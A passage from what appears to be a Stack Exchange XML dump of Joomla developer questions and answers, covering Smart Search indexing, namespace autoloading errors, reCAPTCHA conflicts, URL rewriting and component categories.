BY-SA 4.0" />
  <row Id="32686" PostTypeId="1" AcceptedAnswerId="32687" CreationDate="2023-01-06T13:43:43.500" Score="1" ViewCount="92" Body="&lt;p&gt;I've built a custom component to handle client data, along with a plugin for the Smart Search component to find, index, and include them in searches. Thus far, everything works; the indexer sees my component, it's indexing the relevant content I'm asking it to, and search results include relevant client data.&lt;/p&gt;&#xA;&lt;p&gt;The issue I'm having is that if/when a client's information is changed or a new client is added, the index does not update to include these changes.&lt;/p&gt;&#xA;&lt;p&gt;Surely I've just missed a vital component/function somewhere, but despite digging through what documentation I can find and the already existing Joomla components/indexers, I can't find whatever it is that I'm missing for this to function.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: This was originally posted on a different stack exchange, and transferred over here&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2023-01-06T13:43:43.500" Title="Joomla Smart Search indexer not updating when custom content is updated" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32687" PostTypeId="2" ParentId="32686" CreationDate="2023-01-06T13:43:43.500" Score="2" Body="&lt;p&gt;After much testing and digging through various files, I have found the answer.&lt;/p&gt;&#xA;&lt;p&gt;By default, Joomla has configured plugins that hook onto the various events triggered throughout the save process. From there the plugins themselves trigger the finder events that update indexes.&lt;/p&gt;&#xA;&lt;p&gt;The solution, without making a plugin similar to what Joomla does, was to add this code after a model/table/etc successfully performed a save:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Plugin\PluginHelper::importPlugin('finder');&#xA;Joomla\CMS\Factory::getApplication()-&amp;gt;triggerEvent('onFinderAfterSave', [$context, $row, $isNew]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The various variables being sent as a part of the events are explained in adequate detail in any of the plugins that are included in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2023-01-06T13:43:43.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32688" PostTypeId="1" CreationDate="2023-01-06T20:40:57.007" Score="4" ViewCount="786" Body="&lt;p&gt;I have a file &lt;code&gt;test.php&lt;/code&gt; that manually loads the Joomla framework and prints template parameters.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// test.php, located in the same directory that index.php is&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', '.');&#xA;&#xA;require_once(JPATH_BASE . '/includes/defines.php');&#xA;require_once(JPATH_BASE . '/includes/framework.php');&#xA;&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;// Uncomment to mitigate the error:&#xA;// JLoader::registerNamespace('Joomla\Component\Templates\Administrator', JPATH_ADMINISTRATOR . '/components/com_templates/src');&#xA;$templateParams = $app-&amp;gt;getTemplate(true)-&amp;gt;params;// error (see explanation below)&#xA;var_dump($templateParams);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 4.1, the call to &lt;code&gt;app-&amp;gt;getTemplate(true)&lt;/code&gt; works fine because &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/71389ff3d73122359d3812abaa64f9928ab653cc/libraries/src/Application/SiteApplication.php#L468&quot; rel=&quot;nofollow noreferrer&quot;&gt;the function makes the database calls itself&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4.2, the call to &lt;code&gt;app-&amp;gt;getTemplate(true)&lt;/code&gt; &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/bd7a0b288f3262766e2b283c1e9dcd1960802aa5/libraries/src/Application/SiteApplication.php#L477&quot; rel=&quot;nofollow noreferrer&quot;&gt;delegates the database calls to the &lt;code&gt;com_templates&lt;/code&gt; service provider&lt;/a&gt; (I'm not exactly sure how). But since the &lt;code&gt;Joomla\Component\Templates\Administrator\Extensions&lt;/code&gt; namespace isn't loaded, we get a &lt;code&gt;ClassNotFoundError&lt;/code&gt; for class &lt;code&gt;TemplatesComponent&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Below is the stack trace:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Symfony\Component\ErrorHandler\Error\ClassNotFoundError:&#xA;Attempted to load class &amp;quot;TemplatesComponent&amp;quot; from namespace &amp;quot;Joomla\Component\Templates\Administrator\Extension&amp;quot;.&#xA;Did you forget a &amp;quot;use&amp;quot; statement for another namespace?&#xA;&#xA;  at /srv/http/administrator/components/com_templates/services/provider.php:47&#xA;  at Joomla\DI\ServiceProviderInterface@anonymous/srv/http/administrator/components/com_templates/services/provider.php:28$484-&amp;gt;{closure}()&#xA;     (/srv/http/libraries/vendor/joomla/di/src/ContainerResource.php:182)&#xA;  at Joomla\DI\ContainerResource-&amp;gt;getInstance()&#xA;     (/srv/http/libraries/vendor/joomla/di/src/Container.php:96)&#xA;  at Joomla\DI\Container-&amp;gt;get()&#xA;     (/srv/http/libraries/src/Extension/ExtensionManagerTrait.php:174)&#xA;  at Joomla\CMS\Application\CMSApplication-&amp;gt;loadExtension()&#xA;     (/srv/http/libraries/src/Extension/ExtensionManagerTrait.php:50)&#xA;  at Joomla\CMS\Application\CMSApplication-&amp;gt;bootComponent()&#xA;     (/srv/http/libraries/src/Application/SiteApplication.php:442)&#xA;  at Joomla\CMS\Application\SiteApplication-&amp;gt;getTemplate()&#xA;     (/srv/http/test.php:23)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I add &lt;code&gt;$app-&amp;gt;getTemplate(true)&lt;/code&gt; to an &lt;code&gt;HtmlView::display()&lt;/code&gt; function, it works just fine and a &lt;code&gt;var_dump&lt;/code&gt; shows what I'd expect.&lt;/p&gt;&#xA;&lt;p&gt;So I was wondering if I was initializing the Joomla framework wrong or something.&lt;/p&gt;&#xA;" OwnerUserId="16163" LastActivityDate="2023-01-06T20:40:57.007" Title="(4.1 -&gt; 4.2) Attempted to load class TemplateComponent from namespace Joomla\Component\Administrator\Extension calling $app-&gt;getTemplate" Tags="|custom-component|joomla-4.x|joomla-api|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32689" PostTypeId="1" AcceptedAnswerId="32696" CreationDate="2023-01-08T04:39:19.307" Score="2" ViewCount="69" Body="&lt;p&gt;I have created a very basic module to display EasyPost Tracking information for our customers. The module works in J3, but in J4 I get an error.&lt;/p&gt;&#xA;&lt;p&gt;This is the code I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$input = Factory::getApplication()-&amp;gt;input;&#xA;$tracking_number = $input-&amp;gt;get(&amp;quot;tracking_number&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;ALNUM&amp;quot;);&#xA;$carrier = $input-&amp;gt;get(&amp;quot;carrier&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;ALNUM&amp;quot;);&#xA;$api_key = $params-&amp;gt;get('api_key');&#xA;&#xA;// add EasyPost NameSpace library&#xA;JLoader::registerNamespace('EasyPost', JPATH_LIBRARIES. '/lib');&#xA;// get EasyPost library&#xA;require_once(JPATH_LIBRARIES . '/lib/EasyPost/EasyPost.php');&#xA;// set api key&#xA;\EasyPost\EasyPost::setApiKey($api_key);&#xA;&#xA;if(!empty($tracking_number)) {&#xA;    try {&#xA;        $EZtracker = \EasyPost\Tracker::create(array(&#xA;            &amp;quot;tracking_code&amp;quot; =&amp;gt; $tracking_number,&#xA;            &amp;quot;carrier&amp;quot; =&amp;gt; $carrier&#xA;        ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I call the class to set the api key it seems to work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;\EasyPost\EasyPost::setApiKey($api_key);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I call the static create method from tracker class with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$EZtracker = \EasyPost\Tracker::create(array(...));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get the error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Message: Class &amp;quot;EasyPost\Tracker&amp;quot; not found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How do I update this code to work in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="16829" LastEditorUserId="12352" LastEditDate="2023-01-08T06:57:24.663" LastActivityDate="2023-01-10T07:21:29.587" Title="Registering EasyPost library in J4 module - Class not found" Tags="|joomla-4.x|namespace|class-extensions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32690" PostTypeId="1" CreationDate="2023-01-08T10:42:01.837" Score="2" ViewCount="444" Body="&lt;p&gt;I've just updated my site from 3.x to 4.2.6 and now users started getting error &amp;quot;Empty solution not allowed&amp;quot;. I was digging a bit and I found that this error is from Captcha (PLG_RECAPTCHA_INVISIBLE_ERROR_EMPTY_SOLUTION). It was super hard to find out because the error is displayed only sometimes.&lt;/p&gt;&#xA;&lt;p&gt;I found some answer that it is caused by conflicting captchas, like here:&#xA;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/forum/91506-i-get-an-warning-empty-solution-not-allowed-after-updating-to-joomla-4-7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlacontenteditor.net/support/forum/91506-i-get-an-warning-empty-solution-not-allowed-after-updating-to-joomla-4-7&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But when I check my site settings, it is all okay according to this guide:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Google_ReCaptcha&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Google_ReCaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In global settings, invisible captcha is set.&#xA;In users settings, global setting is applied.&#xA;In contacts settings, global settings is applied.&#xA;In plugins, two captchas are installed (captcha - reCaptcha, captcha - Invisible reCaptcha), but only Invisible reCaptcha is enabled.&lt;/p&gt;&#xA;&lt;p&gt;I am confident, that it worked on 3.x.&lt;/p&gt;&#xA;&lt;p&gt;In the header, I can see that these three scripts regarding captcha are loaded:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; async=&amp;quot;&amp;quot; src=&amp;quot;https://www.gstatic.com/recaptcha/releases/5qcenVbrhOy8zihcc2aHOWD4/recaptcha__cs.js&amp;quot; crossorigin=&amp;quot;anonymous&amp;quot; integrity=&amp;quot;sha384-RA/l2XGNJ+Rr18sma+5V4vZQ7+05NfsdC/fNwQDzVwQA9Au8wVyKKP0Pax1D1eol&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/plg_captcha_recaptcha_invisible/js/recaptcha.min.js?b63a9703436effa4bcce99245487800f&amp;quot; defer=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;https://www.google.com/recaptcha/api.js?onload=JoomlainitReCaptchaInvisible&amp;amp;amp;render=explicit&amp;amp;amp;hl=cs-CZ&amp;quot; defer=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then right after the register form, there are these two divs (I believe here is the conflict):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;dynamic_recaptcha_1&amp;quot; class=&amp;quot;class=&amp;amp;quot;g-recaptcha required&amp;amp;quot; g-recaptcha&amp;quot;&#xA;    data-sitekey=&amp;quot;6LcoRLUaAAAAANZBMsFahpm9TpHB84usZJR0cdta&amp;quot; data-badge=&amp;quot;bottomleft&amp;quot; data-size=&amp;quot;invisible&amp;quot;&#xA;    data-tabindex=&amp;quot;0&amp;quot; data-callback=&amp;quot;&amp;quot; data-expired-callback=&amp;quot;&amp;quot; data-error-callback=&amp;quot;&amp;quot; data-recaptcha-widget-id=&amp;quot;0&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;grecaptcha-badge&amp;quot; data-style=&amp;quot;bottomleft&amp;quot;&#xA;        style=&amp;quot;width: 256px; height: 60px; display: block; transition: left 0.3s ease 0s; position: fixed; bottom: 14px; left: -186px; box-shadow: gray 0px 0px 5px; border-radius: 2px; overflow: hidden;&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;grecaptcha-logo&amp;quot;&amp;gt;&amp;lt;iframe title=&amp;quot;reCAPTCHA&amp;quot;&#xA;                src=&amp;quot;https://www.google.com/recaptcha/api2/anchor?ar=1&amp;amp;amp;k=6LcoRLUaAAAAANZBMsFahpm9TpHB84usZJR0cdta&amp;amp;amp;co=aHR0cHM6Ly93d3cuc2tsYWRvbGVqdS5jejo0NDM.&amp;amp;amp;hl=cs&amp;amp;amp;v=5qcenVbrhOy8zihcc2aHOWD4&amp;amp;amp;size=invisible&amp;amp;amp;badge=bottomleft&amp;amp;amp;cb=h5hy3b2wbqg5&amp;quot;&#xA;                width=&amp;quot;256&amp;quot; height=&amp;quot;60&amp;quot; role=&amp;quot;presentation&amp;quot; name=&amp;quot;a-g64gyyt7qyqo&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;no&amp;quot;&#xA;                sandbox=&amp;quot;allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;grecaptcha-error&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;textarea id=&amp;quot;g-recaptcha-response&amp;quot; name=&amp;quot;g-recaptcha-response&amp;quot;&#xA;            class=&amp;quot;g-recaptcha-response&amp;quot;&#xA;            style=&amp;quot;width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&amp;quot;dynamic_recaptcha_1&amp;quot; class=&amp;quot;class=&amp;amp;quot;g-recaptcha required&amp;amp;quot; g-recaptcha&amp;quot;&#xA;    data-sitekey=&amp;quot;6LcoRLUaAAAAANZBMsFahpm9TpHB84usZJR0cdta&amp;quot; data-badge=&amp;quot;bottomleft&amp;quot; data-size=&amp;quot;invisible&amp;quot;&#xA;    data-tabindex=&amp;quot;0&amp;quot; data-callback=&amp;quot;&amp;quot; data-expired-callback=&amp;quot;&amp;quot; data-error-callback=&amp;quot;&amp;quot; data-recaptcha-widget-id=&amp;quot;1&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;grecaptcha-badge&amp;quot; data-style=&amp;quot;none&amp;quot;&#xA;        style=&amp;quot;width: 256px; height: 60px; position: fixed; visibility: hidden;&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;grecaptcha-logo&amp;quot;&amp;gt;&amp;lt;iframe title=&amp;quot;reCAPTCHA&amp;quot;&#xA;                src=&amp;quot;https://www.google.com/recaptcha/api2/anchor?ar=1&amp;amp;amp;k=6LcoRLUaAAAAANZBMsFahpm9TpHB84usZJR0cdta&amp;amp;amp;co=aHR0cHM6Ly93d3cuc2tsYWRvbGVqdS5jejo0NDM.&amp;amp;amp;hl=cs&amp;amp;amp;v=5qcenVbrhOy8zihcc2aHOWD4&amp;amp;amp;size=invisible&amp;amp;amp;badge=bottomleft&amp;amp;amp;cb=q41x4whykroe&amp;quot;&#xA;                width=&amp;quot;256&amp;quot; height=&amp;quot;60&amp;quot; role=&amp;quot;presentation&amp;quot; name=&amp;quot;a-wbuyh3o4dc14&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;no&amp;quot;&#xA;                sandbox=&amp;quot;allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;grecaptcha-error&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;textarea id=&amp;quot;g-recaptcha-response-1&amp;quot; name=&amp;quot;g-recaptcha-response&amp;quot;&#xA;            class=&amp;quot;g-recaptcha-response&amp;quot;&#xA;            style=&amp;quot;width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;iframe style=&amp;quot;display: none;&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And at the bottom of this page, there are another two captchas (again, only one should be here, right?):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&#xA;    style=&amp;quot;visibility: hidden; position: absolute; width: 100%; top: -10000px; left: 0px; right: 0px; transition: visibility 0s linear 0.3s, opacity 0.3s linear 0s; opacity: 0;&amp;quot;&amp;gt;&#xA;    &amp;lt;div&#xA;        style=&amp;quot;width: 100%; height: 100%; position: fixed; top: 0px; left: 0px; z-index: 2000000000; background-color: rgb(255, 255, 255); opacity: 0.5;&amp;quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&#xA;        style=&amp;quot;margin: 0px auto; top: 0px; left: 0px; right: 0px; position: absolute; border: 1px solid rgb(204, 204, 204); z-index: 2000000000; background-color: rgb(255, 255, 255); overflow: hidden;&amp;quot;&amp;gt;&#xA;        &amp;lt;iframe title=&amp;quot;ověření recaptcha vyprší za dvě minuty&amp;quot;&#xA;            src=&amp;quot;https://www.google.com/recaptcha/api2/bframe?hl=cs&amp;amp;amp;v=5qcenVbrhOy8zihcc2aHOWD4&amp;amp;amp;k=6LcoRLUaAAAAANZBMsFahpm9TpHB84usZJR0cdta&amp;quot;&#xA;            name=&amp;quot;c-g64gyyt7qyqo&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;no&amp;quot;&#xA;            sandbox=&amp;quot;allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox&amp;quot;&#xA;            style=&amp;quot;width: 100%; height: 100%;&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&#xA;    style=&amp;quot;visibility: hidden; position: absolute; width: 100%; top: -10000px; left: 0px; right: 0px; transition: visibility 0s linear 0.3s, opacity 0.3s linear 0s; opacity: 0;&amp;quot;&amp;gt;&#xA;    &amp;lt;div&#xA;        style=&amp;quot;width: 100%; height: 100%; position: fixed; top: 0px; left: 0px; z-index: 2000000000; background-color: rgb(255, 255, 255); opacity: 0.5;&amp;quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&#xA;        style=&amp;quot;margin: 0px auto; top: 0px; left: 0px; right: 0px; position: absolute; border: 1px solid rgb(204, 204, 204); z-index: 2000000000; background-color: rgb(255, 255, 255); overflow: hidden;&amp;quot;&amp;gt;&#xA;        &amp;lt;iframe title=&amp;quot;ověření recaptcha vyprší za dvě minuty&amp;quot;&#xA;            src=&amp;quot;https://www.google.com/recaptcha/api2/bframe?hl=cs&amp;amp;amp;v=5qcenVbrhOy8zihcc2aHOWD4&amp;amp;amp;k=6LcoRLUaAAAAANZBMsFahpm9TpHB84usZJR0cdta&amp;quot;&#xA;            name=&amp;quot;c-wbuyh3o4dc14&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;no&amp;quot;&#xA;            sandbox=&amp;quot;allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox&amp;quot;&#xA;            style=&amp;quot;width: 100%; height: 100%;&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I hit register now, the error is displayed.&lt;/p&gt;&#xA;" OwnerUserId="9649" LastEditorUserId="12352" LastEditDate="2023-01-08T22:39:52.327" LastActivityDate="2023-01-08T22:39:52.327" Title="&quot;Empty solution not allowed&quot; captcha error when user tries to register" Tags="|joomla-4.x|update|captcha|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32691" PostTypeId="1" CreationDate="2023-01-08T12:31:09.810" Score="0" ViewCount="336" Body="&lt;p&gt;I designed my website with the Nicepage tool, and published it on my own domain. The homepage is correctly displaying, but when I try to click on the menu or any other on the website, I get the message : &amp;quot;Not Found - The requested URL was not found on this server.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I tried to contact Nicepage but they can't seem to help.&lt;/p&gt;&#xA;&lt;p&gt;What should I do ?&lt;/p&gt;&#xA;" OwnerUserId="16830" LastActivityDate="2024-02-04T17:03:50.430" Title="Website not correctly displaying &quot;Not Found - The requested URL was not found on this server.&quot;" Tags="|weblinks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32692" PostTypeId="1" CreationDate="2023-01-08T16:32:01.557" Score="0" ViewCount="159" Body="&lt;p&gt;I have a custom component that integrates com_categories in it, after upgrading from joomla 3.10 to 4.x, and fixing all the errors of my component on joomla 4.x, when accessing the categories menu, all categories are gone.&lt;/p&gt;&#xA;" OwnerUserId="7480" LastEditorUserId="7480" LastEditDate="2023-01-08T16:47:06.453" LastActivityDate="2023-01-09T06:16:40.060" Title="Custom component categories missing after upgrade from 3.10 to 4.x" Tags="|custom-component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32694" PostTypeId="2" ParentId="32692" CreationDate="2023-01-09T06:16:40.060" Score="1" Body="&lt;p&gt;Your table which contains the items which go into each category needs to have a few columns:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`id`          BIGINT(20)    NOT NULL AUTO_INCREMENT COMMENT 'Item unique ID',&#xA;`catid`       BIGINT(20)    NOT NULL COMMENT 'Category ID',&#xA;`state`       TINYINT(3)    NOT NULL DEFAULT '1' COMMENT 'Publish status',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then add the follow to your manifest under &lt;code&gt;&amp;lt;administration&amp;gt;&lt;/code&gt; (where &lt;code&gt;com_foo&lt;/code&gt; is your component)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administration&amp;gt;&#xA;        &amp;lt;!-- Your code ... --&amp;gt;&#xA;        &amp;lt;submenu&amp;gt;&#xA;        &amp;lt;!-- Your code ... --&amp;gt;&#xA;&#xA;           &amp;lt;menu link=&amp;quot;option=com_categories&amp;amp;amp;extension=com_foo&amp;quot;&amp;gt;JCATEGORIES&amp;lt;/menu&amp;gt;&#xA;&#xA;        &amp;lt;!-- Your code ... --&amp;gt;&#xA;        &amp;lt;/submenu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You can display additional tabs with component-specific configuration options by creating the file administrator/components/&lt;code&gt;com_foo&lt;/code&gt;/forms/category.xml where &lt;code&gt;com_foo&lt;/code&gt; is the name of your component. This is a regular Joomla XML form file. Just remember, every  you add becomes a tab in the Category edit page.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;   &amp;lt;!-- Your code ... --&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;The Category service&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you need to get their parameters or create SEF routes for nested categories you need to somehow get information on categories. This is what the category service does for us. (where &lt;code&gt;com_foo&lt;/code&gt; or &lt;code&gt;foo&lt;/code&gt; is your component)&lt;/p&gt;&#xA;&lt;p&gt;You need create a class in the file components/com_foo/src/Service/Category.php like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace YOUR_PREFIX\Component\YOUR_COMPONENT_NAME\Site\Service;&#xA;&#xA;use Joomla\CMS\Categories\Categories;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Foo Component Category Tree&#xA; */&#xA;class Category extends Categories&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   array  $options  Array of options&#xA;     *&#xA;     */&#xA;    public function __construct($options = array())&#xA;    {&#xA;        $options['table']     = '#__foo';&#xA;        $options['extension'] = 'com_foo';&#xA;&#xA;        parent::__construct($options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Unlike other services, the category service is instantiated directly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/** @var \YOUR_PREFIX\Component\YOUR_COMPONENT_NAME\Site\Service\Category $fooCategoryService */&#xA;$fooCategoryService = new \Joomla\Component\Content\Site\Service\Category($options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; $options is a array and it can help you narrow down the list of categories. Check Joomla\CMS\Categories\Categories\Categories constructor function&lt;/p&gt;&#xA;&lt;p&gt;Finally, you can for example, given a parent category return a list of children categories&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/** @var \Joomla\CMS\Categories\CategoryNode $parentCategory */&#xA;$parentCategory = $fooCategoryService-&amp;gt;get('root');&#xA;&#xA;// Get all the childrens categories of this node&#xA;$childrenCategories = $parentCategory-&amp;gt;getChildren(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2023-01-09T06:16:40.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32695" PostTypeId="2" ParentId="32691" CreationDate="2023-01-09T12:02:29.147" Score="0" Body="&lt;p&gt;If you have configured &amp;quot;Use URL Rewriting&amp;quot; to &amp;quot;Yes&amp;quot; in Joomla's Global Configurations under [Site] &amp;gt; &amp;quot;SEO&amp;quot;, then you need to &lt;strong&gt;rename Joomla's htaccess.txt to .htaccess&lt;/strong&gt; (which is needed for the URL rewriting).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2023-01-10T15:57:22.597" LastActivityDate="2023-01-10T15:57:22.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32696" PostTypeId="2" ParentId="32689" CreationDate="2023-01-10T07:21:29.587" Score="2" Body="&lt;p&gt;Assuming you are using the same code for J3, it's working by coincidence. The library is using PSR4 autoloading but in J3 &lt;code&gt;JLoader::registerNamespace()&lt;/code&gt; defaults to PSR0. Normally this wouldn't work but you're also registering the wrong directory which ends up coinciding with how PSR0 library would be structured. Essentially, you need to switch to PSR4 autoloading for J3 (J4 supports only PSR4) and register the correct directory to make the code work for both J3 and J4:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('EasyPost', JPATH_LIBRARIES. '/lib/EasyPost', false, false, 'psr4');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;An alternative would be to include the &lt;code&gt;lib/easypost.php&lt;/code&gt; file but that would be slower since it would load all class files even when they're not used. Additionally, this may stop working when the library becomes dependent on other libraries (i.e. like v6 does).&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-01-10T07:21:29.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32697" PostTypeId="1" CreationDate="2023-01-10T21:47:19.257" Score="1" ViewCount="72" Body="&lt;p&gt;I can't get the &lt;code&gt;created&lt;/code&gt; column filled when inserting items into the database. I am using this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function createRecordInLSFCDBTable($id, $userId) {&#xA;&#xA;    echo 'createRecordInLSFCDBTable: ' . $id . ', ' . $userId . '&amp;lt;br&amp;gt;';&#xA;&#xA;    // Collect current date and time&#xA;    // Try 1&#xA;    // $date = date(&amp;quot;Y-m-d h:i:s&amp;quot;);&#xA;    // $date = strtotime($date);&#xA;&#xA;    // Try 2&#xA;    // $date = JFactory::getDate('now', new DateTimeZone('Europe/Berlin'))-&amp;gt;format('Y-m-d h:i:s');&#xA;    // $date = strtotime($date);&#xA;&#xA;    // Try 3&#xA;    // $date = JFactory::getDate()-&amp;gt;toSql();&#xA;&#xA;    var_dump($date);&#xA;&#xA;    // Get a db connection.&#xA;    